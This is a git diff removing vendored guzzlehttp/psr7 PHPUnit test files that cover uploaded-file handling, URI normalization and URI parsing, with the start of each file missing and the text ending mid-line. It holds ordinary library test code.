100644 index b064bed28a..0000000000 --- a/vendor/guzzlehttp/psr7/tests/UploadedFileTest.php +++ /dev/null @@ -1,287 +0,0 @@ -cleanup = []; - } - - /** - * @after - */ - public function tearDownTest() - { - foreach ($this->cleanup as $file) { - if (is_scalar($file) && file_exists($file)) { - unlink($file); - } - } - } - - public function invalidStreams() - { - return [ - 'null' => [null], - 'true' => [true], - 'false' => [false], - 'int' => [1], - 'float' => [1.1], - 'array' => [['filename']], - 'object' => [(object) ['filename']], - ]; - } - - /** - * @dataProvider invalidStreams - */ - public function testRaisesExceptionOnInvalidStreamOrFile($streamOrFile) - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - new UploadedFile($streamOrFile, 0, UPLOAD_ERR_OK); - } - - public function invalidSizes() - { - return [ - 'null' => [null], - 'float' => [1.1], - 'array' => [[1]], - 'object' => [(object) [1]], - ]; - } - - /** - * @dataProvider invalidSizes - */ - public function testRaisesExceptionOnInvalidSize($size) - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'size'); - - new UploadedFile(fopen('php://temp', 'wb+'), $size, UPLOAD_ERR_OK); - } - - public function invalidErrorStatuses() - { - return [ - 'null' => [null], - 'true' => [true], - 'false' => [false], - 'float' => [1.1], - 'string' => ['1'], - 'array' => [[1]], - 'object' => [(object) [1]], - 'negative' => [-1], - 'too-big' => [9], - ]; - } - - /** - * @dataProvider invalidErrorStatuses - */ - public function testRaisesExceptionOnInvalidErrorStatus($status) - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'status'); - - new UploadedFile(fopen('php://temp', 'wb+'), 0, $status); - } - - public function invalidFilenamesAndMediaTypes() - { - return [ - 'true' => [true], - 'false' => [false], - 'int' => [1], - 'float' => [1.1], - 'array' => [['string']], - 'object' => [(object) ['string']], - ]; - } - - /** - * @dataProvider invalidFilenamesAndMediaTypes - */ - public function testRaisesExceptionOnInvalidClientFilename($filename) - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'filename'); - - new UploadedFile(fopen('php://temp', 'wb+'), 0, UPLOAD_ERR_OK, $filename); - } - - /** - * @dataProvider invalidFilenamesAndMediaTypes - */ - public function testRaisesExceptionOnInvalidClientMediaType($mediaType) - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'media type'); - - new UploadedFile(fopen('php://temp', 'wb+'), 0, UPLOAD_ERR_OK, 'foobar.baz', $mediaType); - } - - public function testGetStreamReturnsOriginalStreamObject() - { - $stream = new Stream(fopen('php://temp', 'r')); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - self::assertSame($stream, $upload->getStream()); - } - - public function testGetStreamReturnsWrappedPhpStream() - { - $stream = fopen('php://temp', 'wb+'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - $uploadStream = $upload->getStream()->detach(); - - self::assertSame($stream, $uploadStream); - } - - public function testGetStreamReturnsStreamForFile() - { - $this->cleanup[] = $stream = tempnam(sys_get_temp_dir(), 'stream_file'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - $uploadStream = $upload->getStream(); - $r = new ReflectionProperty($uploadStream, 'filename'); - $r->setAccessible(true); - - self::assertSame($stream, $r->getValue($uploadStream)); - } - - public function testSuccessful() - { - $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!'); - $upload = new UploadedFile($stream, $stream->getSize(), UPLOAD_ERR_OK, 'filename.txt', 'text/plain'); - - self::assertSame($stream->getSize(), $upload->getSize()); - self::assertSame('filename.txt', $upload->getClientFilename()); - self::assertSame('text/plain', $upload->getClientMediaType()); - - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'successful'); - $upload->moveTo($to); - self::assertFileExists($to); - self::assertSame($stream->__toString(), file_get_contents($to)); - } - - public function invalidMovePaths() - { - return [ - 'null' => [null], - 'true' => [true], - 'false' => [false], - 'int' => [1], - 'float' => [1.1], - 'empty' => [''], - 'array' => [['filename']], - 'object' => [(object) ['filename']], - ]; - } - - /** - * @dataProvider invalidMovePaths - */ - public function testMoveRaisesExceptionForInvalidPath($path) - { - $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - $this->cleanup[] = $path; - - $this->expectExceptionGuzzle('InvalidArgumentException', 'path'); - $upload->moveTo($path); - } - - public function testMoveCannotBeCalledMoreThanOnce() - { - $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'diac'); - $upload->moveTo($to); - self::assertFileExists($to); - - $this->expectExceptionGuzzle('RuntimeException', 'moved'); - $upload->moveTo($to); - } - - public function testCannotRetrieveStreamAfterMove() - { - $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!'); - $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK); - - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'diac'); - $upload->moveTo($to); - self::assertFileExists($to); - - $this->expectExceptionGuzzle('RuntimeException', 'moved'); - $upload->getStream(); - } - - public function nonOkErrorStatus() - { - return [ - 'UPLOAD_ERR_INI_SIZE' => [ UPLOAD_ERR_INI_SIZE ], - 'UPLOAD_ERR_FORM_SIZE' => [ UPLOAD_ERR_FORM_SIZE ], - 'UPLOAD_ERR_PARTIAL' => [ UPLOAD_ERR_PARTIAL ], - 'UPLOAD_ERR_NO_FILE' => [ UPLOAD_ERR_NO_FILE ], - 'UPLOAD_ERR_NO_TMP_DIR' => [ UPLOAD_ERR_NO_TMP_DIR ], - 'UPLOAD_ERR_CANT_WRITE' => [ UPLOAD_ERR_CANT_WRITE ], - 'UPLOAD_ERR_EXTENSION' => [ UPLOAD_ERR_EXTENSION ], - ]; - } - - /** - * @dataProvider nonOkErrorStatus - */ - public function testConstructorDoesNotRaiseExceptionForInvalidStreamWhenErrorStatusPresent($status) - { - $uploadedFile = new UploadedFile('not ok', 0, $status); - self::assertSame($status, $uploadedFile->getError()); - } - - /** - * @dataProvider nonOkErrorStatus - */ - public function testMoveToRaisesExceptionWhenErrorStatusPresent($status) - { - $uploadedFile = new UploadedFile('not ok', 0, $status); - $this->expectExceptionGuzzle('RuntimeException', 'upload error'); - $uploadedFile->moveTo(__DIR__ . '/' . sha1(uniqid('', true))); - } - - /** - * @dataProvider nonOkErrorStatus - */ - public function testGetStreamRaisesExceptionWhenErrorStatusPresent($status) - { - $uploadedFile = new UploadedFile('not ok', 0, $status); - $this->expectExceptionGuzzle('RuntimeException', 'upload error'); - $uploadedFile->getStream(); - } - - public function testMoveToCreatesStreamIfOnlyAFilenameWasProvided() - { - $this->cleanup[] = $from = tempnam(sys_get_temp_dir(), 'copy_from'); - $this->cleanup[] = $to = tempnam(sys_get_temp_dir(), 'copy_to'); - - copy(__FILE__, $from); - - $uploadedFile = new UploadedFile($from, 100, UPLOAD_ERR_OK, basename($from), 'text/plain'); - $uploadedFile->moveTo($to); - - self::assertFileEquals(__FILE__, $to); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/UriNormalizerTest.php b/vendor/guzzlehttp/psr7/tests/UriNormalizerTest.php deleted file mode 100644 index 76949c8f05..0000000000 --- a/vendor/guzzlehttp/psr7/tests/UriNormalizerTest.php +++ /dev/null @@ -1,176 +0,0 @@ -withPath("/$actualEncoding")->withQuery($actualEncoding); - - self::assertSame("/$actualEncoding?$actualEncoding", (string) $uri, 'Not normalized automatically beforehand'); - - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::CAPITALIZE_PERCENT_ENCODING); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame("/$expectEncoding?$expectEncoding", (string) $normalizedUri); - } - - /** - * @dataProvider getUnreservedCharacters - */ - public function testDecodeUnreservedCharacters($char) - { - $percentEncoded = '%' . bin2hex($char); - // Add encoded reserved characters to test that those are not decoded and include the percent-encoded - // unreserved character both in lower and upper case to test the decoding is case-insensitive. - $encodedChars = $percentEncoded . '%2F%5B' . strtoupper($percentEncoded); - $uri = (new Uri())->withPath("/$encodedChars")->withQuery($encodedChars); - - self::assertSame("/$encodedChars?$encodedChars", (string) $uri, 'Not normalized automatically beforehand'); - - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::DECODE_UNRESERVED_CHARACTERS); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame("/$char%2F%5B$char?$char%2F%5B$char", (string) $normalizedUri); - } - - public function getUnreservedCharacters() - { - $unreservedChars = array_merge(range('a', 'z'), range('A', 'Z'), range('0', '9'), ['-', '.', '_', '~']); - - return array_map(function ($char) { - return [$char]; - }, $unreservedChars); - } - - /** - * @dataProvider getEmptyPathTestCases - */ - public function testConvertEmptyPath($uri, $expected) - { - $normalizedUri = UriNormalizer::normalize(new Uri($uri), UriNormalizer::CONVERT_EMPTY_PATH); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame($expected, (string) $normalizedUri); - } - - public function getEmptyPathTestCases() - { - return [ - ['http://example.org', 'http://example.org/'], - ['https://example.org', 'https://example.org/'], - ['urn://example.org', 'urn://example.org'], - ]; - } - - public function testRemoveDefaultHost() - { - $uri = new Uri('file://localhost/myfile'); - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::REMOVE_DEFAULT_HOST); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame('file:///myfile', (string) $normalizedUri); - } - - public function testRemoveDefaultPort() - { - $uri = $this->getMockBuilder('Psr\Http\Message\UriInterface')->getMock(); - $uri->expects(self::any())->method('getScheme')->will(self::returnValue('http')); - $uri->expects(self::any())->method('getPort')->will(self::returnValue(80)); - $uri->expects(self::once())->method('withPort')->with(null)->will(self::returnValue(new Uri('http://example.org'))); - - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::REMOVE_DEFAULT_PORT); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertNull($normalizedUri->getPort()); - } - - public function testRemoveDotSegments() - { - $uri = new Uri('http://example.org/../a/b/../c/./d.html'); - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::REMOVE_DOT_SEGMENTS); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame('http://example.org/a/c/d.html', (string) $normalizedUri); - } - - public function testRemoveDotSegmentsOfAbsolutePathReference() - { - $uri = new Uri('/../a/b/../c/./d.html'); - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::REMOVE_DOT_SEGMENTS); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame('/a/c/d.html', (string) $normalizedUri); - } - - public function testRemoveDotSegmentsOfRelativePathReference() - { - $uri = new Uri('../c/./d.html'); - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::REMOVE_DOT_SEGMENTS); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame('../c/./d.html', (string) $normalizedUri); - } - - public function testRemoveDuplicateSlashes() - { - $uri = new Uri('http://example.org//foo///bar/bam.html'); - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::REMOVE_DUPLICATE_SLASHES); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame('http://example.org/foo/bar/bam.html', (string) $normalizedUri); - } - - public function testSortQueryParameters() - { - $uri = new Uri('?lang=en&article=fred'); - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::SORT_QUERY_PARAMETERS); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame('?article=fred&lang=en', (string) $normalizedUri); - } - - public function testSortQueryParametersWithSameKeys() - { - $uri = new Uri('?a=b&b=c&a=a&a&b=a&b=b&a=d&a=c'); - $normalizedUri = UriNormalizer::normalize($uri, UriNormalizer::SORT_QUERY_PARAMETERS); - - self::assertInstanceOf('Psr\Http\Message\UriInterface', $normalizedUri); - self::assertSame('?a&a=a&a=b&a=c&a=d&b=a&b=b&b=c', (string) $normalizedUri); - } - - /** - * @dataProvider getEquivalentTestCases - */ - public function testIsEquivalent($uri1, $uri2, $expected) - { - $equivalent = UriNormalizer::isEquivalent(new Uri($uri1), new Uri($uri2)); - - self::assertSame($expected, $equivalent); - } - - public function getEquivalentTestCases() - { - return [ - ['http://example.org', 'http://example.org', true], - ['hTTp://eXaMpLe.org', 'http://example.org', true], - ['http://example.org/path?#', 'http://example.org/path', true], - ['http://example.org:80', 'http://example.org/', true], - ['http://example.org/../a/.././p%61th?%7a=%5e', 'http://example.org/path?z=%5E', true], - ['https://example.org/', 'http://example.org/', false], - ['https://example.org/', '//example.org/', false], - ['//example.org/', '//example.org/', true], - ['file:/myfile', 'file:///myfile', true], - ['file:///myfile', 'file://localhost/myfile', true], - ]; - } -} diff --git a/vendor/guzzlehttp/psr7/tests/UriResolverTest.php b/vendor/guzzlehttp/psr7/tests/UriResolverTest.php deleted file mode 100644 index 7a31ce8511..0000000000 --- a/vendor/guzzlehttp/psr7/tests/UriResolverTest.php +++ /dev/null @@ -1,204 +0,0 @@ -getScheme()); - self::assertSame('user:pass@example.com:8080', $uri->getAuthority()); - self::assertSame('user:pass', $uri->getUserInfo()); - self::assertSame('example.com', $uri->getHost()); - self::assertSame(8080, $uri->getPort()); - self::assertSame('/path/123', $uri->getPath()); - self::assertSame('q=abc', $uri->getQuery()); - self::assertSame('test', $uri->getFragment()); - self::assertSame('https://user:pass@example.com:8080/path/123?q=abc#test', (string) $uri); - } - - public function testCanTransformAndRetrievePartsIndividually() - { - $uri = (new Uri()) - ->withScheme('https') - ->withUserInfo('user', 'pass') - ->withHost('example.com') - ->withPort(8080) - ->withPath('/path/123') - ->withQuery('q=abc') - ->withFragment('test'); - - self::assertSame('https', $uri->getScheme()); - self::assertSame('user:pass@example.com:8080', $uri->getAuthority()); - self::assertSame('user:pass', $uri->getUserInfo()); - self::assertSame('example.com', $uri->getHost()); - self::assertSame(8080, $uri->getPort()); - self::assertSame('/path/123', $uri->getPath()); - self::assertSame('q=abc', $uri->getQuery()); - self::assertSame('test', $uri->getFragment()); - self::assertSame('https://user:pass@example.com:8080/path/123?q=abc#test', (string) $uri); - } - - /** - * @dataProvider getValidUris - */ - public function testValidUrisStayValid($input) - { - $uri = new Uri($input); - - self::assertSame($input, (string) $uri); - } - - /** - * @dataProvider getValidUris - */ - public function testFromParts($input) - { - $uri = Uri::fromParts(parse_url($input)); - - self::assertSame($input, (string) $uri); - } - - public function getValidUris() - { - return [ - ['urn:path-rootless'], - ['urn:path:with:colon'], - ['urn:/path-absolute'], - ['urn:/'], - // only scheme with empty path - ['urn:'], - // only path - ['/'], - ['relative/'], - ['0'], - // same document reference - [''], - // network path without scheme - ['//example.org'], - ['//example.org/'], - ['//example.org?q#h'], - // only query - ['?q'], - ['?q=abc&foo=bar'], - // only fragment - ['#fragment'], - // dot segments are not removed automatically - ['./foo/../bar'], - ]; - } - - /** - * @dataProvider getInvalidUris - */ - public function testInvalidUrisThrowException($invalidUri) - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Unable to parse URI'); - - new Uri($invalidUri); - } - - public function getInvalidUris() - { - return [ - // parse_url() requires the host component which makes sense for http(s) - // but not when the scheme is not known or different. So '//' or '///' is - // currently invalid as well but should not according to RFC 3986. - ['http://'], - ['urn://host:with:colon'], // host cannot contain ":" - ]; - } - - public function testPortMustBeValid() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Must be between 0 and 65535'); - - (new Uri())->withPort(100000); - } - - public function testWithPortCannotBeNegative() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Invalid port: -1. Must be between 0 and 65535'); - - (new Uri())->withPort(-1); - } - - public function testParseUriPortCannotBeNegative() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Unable to parse URI'); - - new Uri('//example.com:-1'); - } - - public function testSchemeMustHaveCorrectType() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - (new Uri())->withScheme([]); - } - - public function testHostMustHaveCorrectType() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - (new Uri())->withHost([]); - } - - public function testPathMustHaveCorrectType() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - (new Uri())->withPath([]); - } - - public function testQueryMustHaveCorrectType() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - (new Uri())->withQuery([]); - } - - public function testFragmentMustHaveCorrectType() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - (new Uri())->withFragment([]); - } - - public function testCanParseFalseyUriParts() - { - $uri = new Uri('0://0:0@0/0?0#0'); - - self::assertSame('0', $uri->getScheme()); - self::assertSame('0:0@0', $uri->getAuthority()); - self::assertSame('0:0', $uri->getUserInfo()); - self::assertSame('0', $uri->getHost()); - self::assertSame('/0', $uri->getPath()); - self::assertSame('0', $uri->getQuery()); - self::assertSame('0', $uri->getFragment()); - self::assertSame('0://0:0@0/0?0#0', (string) $uri); - } - - public function testCanConstructFalseyUriParts() - { - $uri = (new Uri()) - ->withScheme('0') - ->withUserInfo('0', '0') - ->withHost('0') - ->withPath('/0') - ->withQuery('0') - ->withFragment('0'); - - self::assertSame('0', $uri->getScheme()); - self::assertSame('0:0@0', $uri->getAuthority()); - self::assertSame('0:0', $uri->getUserInfo()); - self::assertSame('0', $uri->getHost()); - self::assertSame('/0', $uri->getPath()); - self::assertSame('0', $uri->getQuery()); - self::assertSame('0', $uri->getFragment()); - self::assertSame('0://0:0@0/0?0#0', (string) $uri); - } - - /** - * @dataProvider getPortTestCases - */ - public function testIsDefaultPort($scheme, $port, $isDefaultPort) - { - $uri = $this->getMockBuilder('Psr\Http\Message\UriInterface')->getMock(); - $uri->expects(self::any())->method('getScheme')->will(self::returnValue($scheme)); - $uri->expects(self::any())->method('getPort')->will(self::returnValue($port)); - - self::assertSame($isDefaultPort, Uri::isDefaultPort($uri)); - } - - public function getPortTestCases() - { - return [ - ['http', null, true], - ['http', 80, true], - ['http', 8080, false], - ['https', null, true], - ['https', 443, true], - ['https', 444, false], - ['ftp', 21, true], - ['gopher', 70, true], - ['nntp', 119, true], - ['news', 119, true], - ['telnet', 23, true], - ['tn3270', 23, true], - ['imap', 143, true], - ['pop', 110, true], - ['ldap', 389, true], - ]; - } - - public function testIsAbsolute() - { - self::assertTrue(Uri::isAbsolute(new Uri('http://example.org'))); - self::assertFalse(Uri::isAbsolute(new Uri('//example.org'))); - self::assertFalse(Uri::isAbsolute(new Uri('/abs-path'))); - self::assertFalse(Uri::isAbsolute(new Uri('rel-path'))); - } - - public function testIsNetworkPathReference() - { - self::assertFalse(Uri::isNetworkPathReference(new Uri('http://example.org'))); - self::assertTrue(Uri::isNetworkPathReference(new Uri('//example.org'))); - self::assertFalse(Uri::isNetworkPathReference(new Uri('/abs-path'))); - self::assertFalse(Uri::isNetworkPathReference(new Uri('rel-path'))); - } - - public function testIsAbsolutePathReference() - { - self::assertFalse(Uri::isAbsolutePathReference(new Uri('http://example.org'))); - self::assertFalse(Uri::isAbsolutePathReference(new Uri('//example.org'))); - self::assertTrue(Uri::isAbsolutePathReference(new Uri('/abs-path'))); - self::assertTrue(Uri::isAbsolutePathReference(new Uri('/'))); - self::assertFalse(Uri::isAbsolutePathReference(new Uri('rel-path'))); - } - - public function testIsRelativePathReference() - { - self::assertFalse(Uri::isRelativePathReference(new Uri('http://example.org'))); - self::assertFalse(Uri::isRelativePathReference(new Uri('//example.org'))); - self::assertFalse(Uri::isRelativePathReference(new Uri('/abs-path'))); - self::assertTrue(Uri::isRelativePathReference(new Uri('rel-path'))); - self::assertTrue(Uri::isRelativePathReference(new Uri(''))); - } - - public function testIsSameDocumentReference() - { - self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.org'))); - self::assertFalse(Uri::isSameDocumentReference(new Uri('//example.org'))); - self::assertFalse(Uri::isSameDocumentReference(new Uri('/abs-path'))); - self::assertFalse(Uri::isSameDocumentReference(new Uri('rel-path'))); - self::assertFalse(Uri::isSameDocumentReference(new Uri('?query'))); - self::assertTrue(Uri::isSameDocumentReference(new Uri(''))); - self::assertTrue(Uri::isSameDocumentReference(new Uri('#fragment'))); - - $baseUri = new Uri('http://example.org/path?foo=bar'); - - self::assertTrue(Uri::isSameDocumentReference(new Uri('#fragment'), $baseUri)); - self::assertTrue(Uri::isSameDocumentReference(new Uri('?foo=bar#fragment'), $baseUri)); - self::assertTrue(Uri::isSameDocumentReference(new Uri('/path?foo=bar#fragment'), $baseUri)); - self::assertTrue(Uri::isSameDocumentReference(new Uri('path?foo=bar#fragment'), $baseUri)); - self::assertTrue(Uri::isSameDocumentReference(new Uri('//example.org/path?foo=bar#fragment'), $baseUri)); - self::assertTrue(Uri::isSameDocumentReference(new Uri('http://example.org/path?foo=bar#fragment'), $baseUri)); - - self::assertFalse(Uri::isSameDocumentReference(new Uri('https://example.org/path?foo=bar'), $baseUri)); - self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.com/path?foo=bar'), $baseUri)); - self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.org/'), $baseUri)); - self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.org'), $baseUri)); - - self::assertFalse(Uri::isSameDocumentReference(new Uri('urn:/path'), new Uri('urn://example.com/path'))); - } - - public function testAddAndRemoveQueryValues() - { - $uri = new Uri(); - $uri = Uri::withQueryValue($uri, 'a', 'b'); - $uri = Uri::withQueryValue($uri, 'c', 'd'); - $uri = Uri::withQueryValue($uri, 'e', null); - self::assertSame('a=b&c=d&e', $uri->getQuery()); - - $uri = Uri::withoutQueryValue($uri, 'c'); - self::assertSame('a=b&e', $uri->getQuery()); - $uri = Uri::withoutQueryValue($uri, 'e'); - self::assertSame('a=b', $uri->getQuery()); - $uri = Uri::withoutQueryValue($uri, 'a'); - self::assertSame('', $uri->getQuery()); - } - - public function testNumericQueryValue() - { - $uri = Uri::withQueryValue(new Uri(), 'version', 1); - self::assertSame('version=1', $uri->getQuery()); - } - - public function testWithQueryValues() - { - $uri = new Uri(); - $uri = Uri::withQueryValues($uri, [ - 'key1' => 'value1', - 'key2' => 'value2' - ]); - - self::assertSame('key1=value1&key2=value2', $uri->getQuery()); - } - - public function testWithQueryValuesReplacesSameKeys() - { - $uri = new Uri(); - - $uri = Uri::withQueryValues($uri, [ - 'key1' => 'value1', - 'key2' => 'value2' - ]); - - $uri = Uri::withQueryValues($uri, [ - 'key2' => 'newvalue' - ]); - - self::assertSame('key1=value1&key2=newvalue', $uri->getQuery()); - } - - public function testWithQueryValueReplacesSameKeys() - { - $uri = new Uri(); - $uri = Uri::withQueryValue($uri, 'a', 'b'); - $uri = Uri::withQueryValue($uri, 'c', 'd'); - $uri = Uri::withQueryValue($uri, 'a', 'e'); - self::assertSame('c=d&a=e', $uri->getQuery()); - } - - public function testWithoutQueryValueRemovesAllSameKeys() - { - $uri = (new Uri())->withQuery('a=b&c=d&a=e'); - $uri = Uri::withoutQueryValue($uri, 'a'); - self::assertSame('c=d', $uri->getQuery()); - } - - public function testRemoveNonExistingQueryValue() - { - $uri = new Uri(); - $uri = Uri::withQueryValue($uri, 'a', 'b'); - $uri = Uri::withoutQueryValue($uri, 'c'); - self::assertSame('a=b', $uri->getQuery()); - } - - public function testWithQueryValueHandlesEncoding() - { - $uri = new Uri(); - $uri = Uri::withQueryValue($uri, 'E=mc^2', 'ein&stein'); - self::assertSame('E%3Dmc%5E2=ein%26stein', $uri->getQuery(), 'Decoded key/value get encoded'); - - $uri = new Uri(); - $uri = Uri::withQueryValue($uri, 'E%3Dmc%5e2', 'ein%26stein'); - self::assertSame('E%3Dmc%5e2=ein%26stein', $uri->getQuery(), 'Encoded key/value do not get double-encoded'); - } - - public function testWithoutQueryValueHandlesEncoding() - { - // It also tests that the case of the percent-encoding does not matter, - // i.e. both lowercase "%3d" and uppercase "%5E" can be removed. - $uri = (new Uri())->withQuery('E%3dmc%5E2=einstein&foo=bar'); - $uri = Uri::withoutQueryValue($uri, 'E=mc^2'); - self::assertSame('foo=bar', $uri->getQuery(), 'Handles key in decoded form'); - - $uri = (new Uri())->withQuery('E%3dmc%5E2=einstein&foo=bar'); - $uri = Uri::withoutQueryValue($uri, 'E%3Dmc%5e2'); - self::assertSame('foo=bar', $uri->getQuery(), 'Handles key in encoded form'); - } - - public function testSchemeIsNormalizedToLowercase() - { - $uri = new Uri('HTTP://example.com'); - - self::assertSame('http', $uri->getScheme()); - self::assertSame('http://example.com', (string) $uri); - - $uri = (new Uri('//example.com'))->withScheme('HTTP'); - - self::assertSame('http', $uri->getScheme()); - self::assertSame('http://example.com', (string) $uri); - } - - public function testHostIsNormalizedToLowercase() - { - $uri = new Uri('//eXaMpLe.CoM'); - - self::assertSame('example.com', $uri->getHost()); - self::assertSame('//example.com', (string) $uri); - - $uri = (new Uri())->withHost('eXaMpLe.CoM'); - - self::assertSame('example.com', $uri->getHost()); - self::assertSame('//example.com', (string) $uri); - } - - public function testPortIsNullIfStandardPortForScheme() - { - // HTTPS standard port - $uri = new Uri('https://example.com:443'); - self::assertNull($uri->getPort()); - self::assertSame('example.com', $uri->getAuthority()); - - $uri = (new Uri('https://example.com'))->withPort(443); - self::assertNull($uri->getPort()); - self::assertSame('example.com', $uri->getAuthority()); - - // HTTP standard port - $uri = new Uri('http://example.com:80'); - self::assertNull($uri->getPort()); - self::assertSame('example.com', $uri->getAuthority()); - - $uri = (new Uri('http://example.com'))->withPort(80); - self::assertNull($uri->getPort()); - self::assertSame('example.com', $uri->getAuthority()); - } - - public function testPortIsReturnedIfSchemeUnknown() - { - $uri = (new Uri('//example.com'))->withPort(80); - - self::assertSame(80, $uri->getPort()); - self::assertSame('example.com:80', $uri->getAuthority()); - } - - public function testStandardPortIsNullIfSchemeChanges() - { - $uri = new Uri('http://example.com:443'); - self::assertSame('http', $uri->getScheme()); - self::assertSame(443, $uri->getPort()); - - $uri = $uri->withScheme('https'); - self::assertNull($uri->getPort()); - } - - public function testPortPassedAsStringIsCastedToInt() - { - $uri = (new Uri('//example.com'))->withPort('8080'); - - self::assertSame(8080, $uri->getPort(), 'Port is returned as integer'); - self::assertSame('example.com:8080', $uri->getAuthority()); - } - - public function testPortCanBeRemoved() - { - $uri = (new Uri('http://example.com:8080'))->withPort(null); - - self::assertNull($uri->getPort()); - self::assertSame('http://example.com', (string) $uri); - } - - /** - * In RFC 8986 the host is optional and the authority can only - * consist of the user info and port. - */ - public function testAuthorityWithUserInfoOrPortButWithoutHost() - { - $uri = (new Uri())->withUserInfo('user', 'pass'); - - self::assertSame('user:pass', $uri->getUserInfo()); - self::assertSame('user:pass@', $uri->getAuthority()); - - $uri = $uri->withPort(8080); - self::assertSame(8080, $uri->getPort()); - self::assertSame('user:pass@:8080', $uri->getAuthority()); - self::assertSame('//user:pass@:8080', (string) $uri); - - $uri = $uri->withUserInfo(''); - self::assertSame(':8080', $uri->getAuthority()); - } - - public function testHostInHttpUriDefaultsToLocalhost() - { - $uri = (new Uri())->withScheme('http'); - - self::assertSame('localhost', $uri->getHost()); - self::assertSame('localhost', $uri->getAuthority()); - self::assertSame('http://localhost', (string) $uri); - } - - public function testHostInHttpsUriDefaultsToLocalhost() - { - $uri = (new Uri())->withScheme('https'); - - self::assertSame('localhost', $uri->getHost()); - self::assertSame('localhost', $uri->getAuthority()); - self::assertSame('https://localhost', (string) $uri); - } - - public function testFileSchemeWithEmptyHostReconstruction() - { - $uri = new Uri('file:///tmp/filename.ext'); - - self::assertSame('', $uri->getHost()); - self::assertSame('', $uri->getAuthority()); - self::assertSame('file:///tmp/filename.ext', (string) $uri); - } - - public function uriComponentsEncodingProvider() - { - $unreserved = 'a-zA-Z0-9.-_~!$&\'()*+,;=:@'; - - return [ - // Percent encode spaces - ['/pa th?q=va lue#frag ment', '/pa%20th', 'q=va%20lue', 'frag%20ment', '/pa%20th?q=va%20lue#frag%20ment'], - // Percent encode multibyte - ['/€?€#€', '/%E2%82%AC', '%E2%82%AC', '%E2%82%AC', '/%E2%82%AC?%E2%82%AC#%E2%82%AC'], - // Don't encode something that's already encoded - ['/pa%20th?q=va%20lue#frag%20ment', '/pa%20th', 'q=va%20lue', 'frag%20ment', '/pa%20th?q=va%20lue#frag%20ment'], - // Percent encode invalid percent encodings - ['/pa%2-th?q=va%2-lue#frag%2-ment', '/pa%252-th', 'q=va%252-lue', 'frag%252-ment', '/pa%252-th?q=va%252-lue#frag%252-ment'], - // Don't encode path segments - ['/pa/th//two?q=va/lue#frag/ment', '/pa/th//two', 'q=va/lue', 'frag/ment', '/pa/th//two?q=va/lue#frag/ment'], - // Don't encode unreserved chars or sub-delimiters - ["/$unreserved?$unreserved#$unreserved", "/$unreserved", $unreserved, $unreserved, "/$unreserved?$unreserved#$unreserved"], - // Encoded unreserved chars are not decoded - ['/p%61th?q=v%61lue#fr%61gment', '/p%61th', 'q=v%61lue', 'fr%61gment', '/p%61th?q=v%61lue#fr%61gment'], - ]; - } - - /** - * @dataProvider uriComponentsEncodingProvider - */ - public function testUriComponentsGetEncodedProperly($input, $path, $query, $fragment, $output) - { - $uri = new Uri($input); - self::assertSame($path, $uri->getPath()); - self::assertSame($query, $uri->getQuery()); - self::assertSame($fragment, $uri->getFragment()); - self::assertSame($output, (string) $uri); - } - - public function testWithPathEncodesProperly() - { - $uri = (new Uri())->withPath('/baz?#€/b%61r'); - // Query and fragment delimiters and multibyte chars are encoded. - self::assertSame('/baz%3F%23%E2%82%AC/b%61r', $uri->getPath()); - self::assertSame('/baz%3F%23%E2%82%AC/b%61r', (string) $uri); - } - - public function testWithQueryEncodesProperly() - { - $uri = (new Uri())->withQuery('?=#&€=/&b%61r'); - // A query starting with a "?" is valid and 